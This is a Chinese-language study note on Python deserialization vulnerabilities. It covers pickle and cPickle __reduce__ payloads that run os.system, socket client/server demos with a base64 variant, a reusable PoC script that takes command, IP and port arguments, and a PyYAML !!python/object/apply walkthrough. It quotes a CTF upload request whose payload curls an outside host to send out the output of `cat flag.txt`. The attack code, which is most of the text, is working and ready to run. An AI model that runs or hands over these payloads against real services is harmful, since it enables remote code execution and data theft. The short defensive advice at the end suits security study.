python反序列化研究学习

零、补充：

补充于2018-02-08，之前研究时候有一个疑惑，python的序列化成二进制，打web服务怎么传这个二进制对象呢，今天请教了身边大神（传说的九零后黑客代表），可以使用base64传输。

测试代码：

#client.py
import os
import sys
import base64
import socket
import cPickle

#定义payload类型
class payload(object):
    def __init__(self,command):
        self.__command = command
    def __reduce__(self):
        return (os.system,((self.__command),))

#定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#定义主函数，生成payload对象
if __name__ == "__main__":
    #cmd = sys.argv[1]
    #rip = sys.argv[2]
    #pot = sys.argv[3]
    cmd = "whoami"
    rip = "127.0.0.1"
    pot = 5222
    payload_object = payload(cmd)
    send_object = cPickle.dumps(payload_object)
    sock.connect((rip,int(pot)))
    send_object = base64.b64encode(send_object)
    sock.send(send_object)

#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle
import base64

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
ret = base64.b64decode(ret)
m = cPickle.loads(ret)

果然执行成功了，这样就解决了打击WEB服务的办法，base64字符串可以作为参数在request请求报文中传递了。

一、python的反序列化漏洞：

一个简单的小例子证明存在性：Python的反序列化漏洞，和java、php一样python的反序列化漏洞也非常严重！咱们举一个socket的远程远程简单的例子来尝试：

举例说明：

　　client传送一个类对象序列化过去给server，server反序列化这个类对象。

client.py

#serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle

class Vuln(object):
    name = 1
    def __reduce__(self):
        return (os.system,(('id'),))

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()

server.py

#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)

测试效果：

类似于cPickle和pickle的这种适合打一些TCP连接的：

这里写一个脚本作为一般poc

# -*- coding:utf-8 -*-
"""
这个脚本用来生成payload，并进行打击
作者：陈然
公司：360企业安全
"""
#引入依赖包文件
import os
import sys
import socket
import cPickle

#定义payload类型
class payload(object):
    def __init__(self,command):
        self.__command = command
    def __reduce__(self):
        return (os.system,((self.__command),))

#定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#定义主函数，生成payload对象
if __name__ == "__main__":
    cmd = sys.argv[1]
    rip = sys.argv[2]
    pot = sys.argv[3]
    payload_object = payload(cmd)
    send_object = cPickle.dumps(payload_object)
    sock.connect((rip,int(pot)))
    sock.send(send_object)

二、HTTP中的python反序列化漏洞--PyYAML

1、这里要注意，对站点相关开发有要求：

（1）使用PyYAML这个库

（2）使用了yaml.load函数而不是yaml.safe_load函数

2、好了，来看函数吧：

（1）：

我们需要知道危险的yaml标签是这个：!!python/object/apply 这个tag是罪魁祸首！

（2）这个tag的解析在yaml库的constructor.py文件中：

 然后我们来看对应的地方：就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里：

跳转过去看下，这个地方有cls函数

而这里的cls函数取自find_python_name这个函数的返回值：

这个函数返回值是getattr的返回值

我们来做一个实验：

import os

class A(object):
    name = 1
    def __reduce__(self):
        os.system("whoami")

a = A()
func = getattr(a,"__reduce__")
print "func:",func
func()

实验结果：

这就是getattr返回给了cls，cls函数执行到了!!python/object/apply标签中的代码被执行。

3、攻击场景:

这种场景有可能在HTTP协议中见到：

看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800

'''
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438
 
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
 
---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
 
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"
 
 
-----------------------------200783363553063815533894329--
 
 
</div>
 
  <div class="container main" >
    <div>
        <div class="col-md-12 main">
           
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
           
        </div>
    </div>
  </div>
'''

很显然，payload就是这个部分："goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

好了，关于Python的反序列化就笔记记录到这里。关于防御的话，只能说，对于Yaml的使用safe_load函数，对于pickle有大神考虑在pickle中下钩子，拦截住。但是目前对于cPickle还没有有效的防御办法。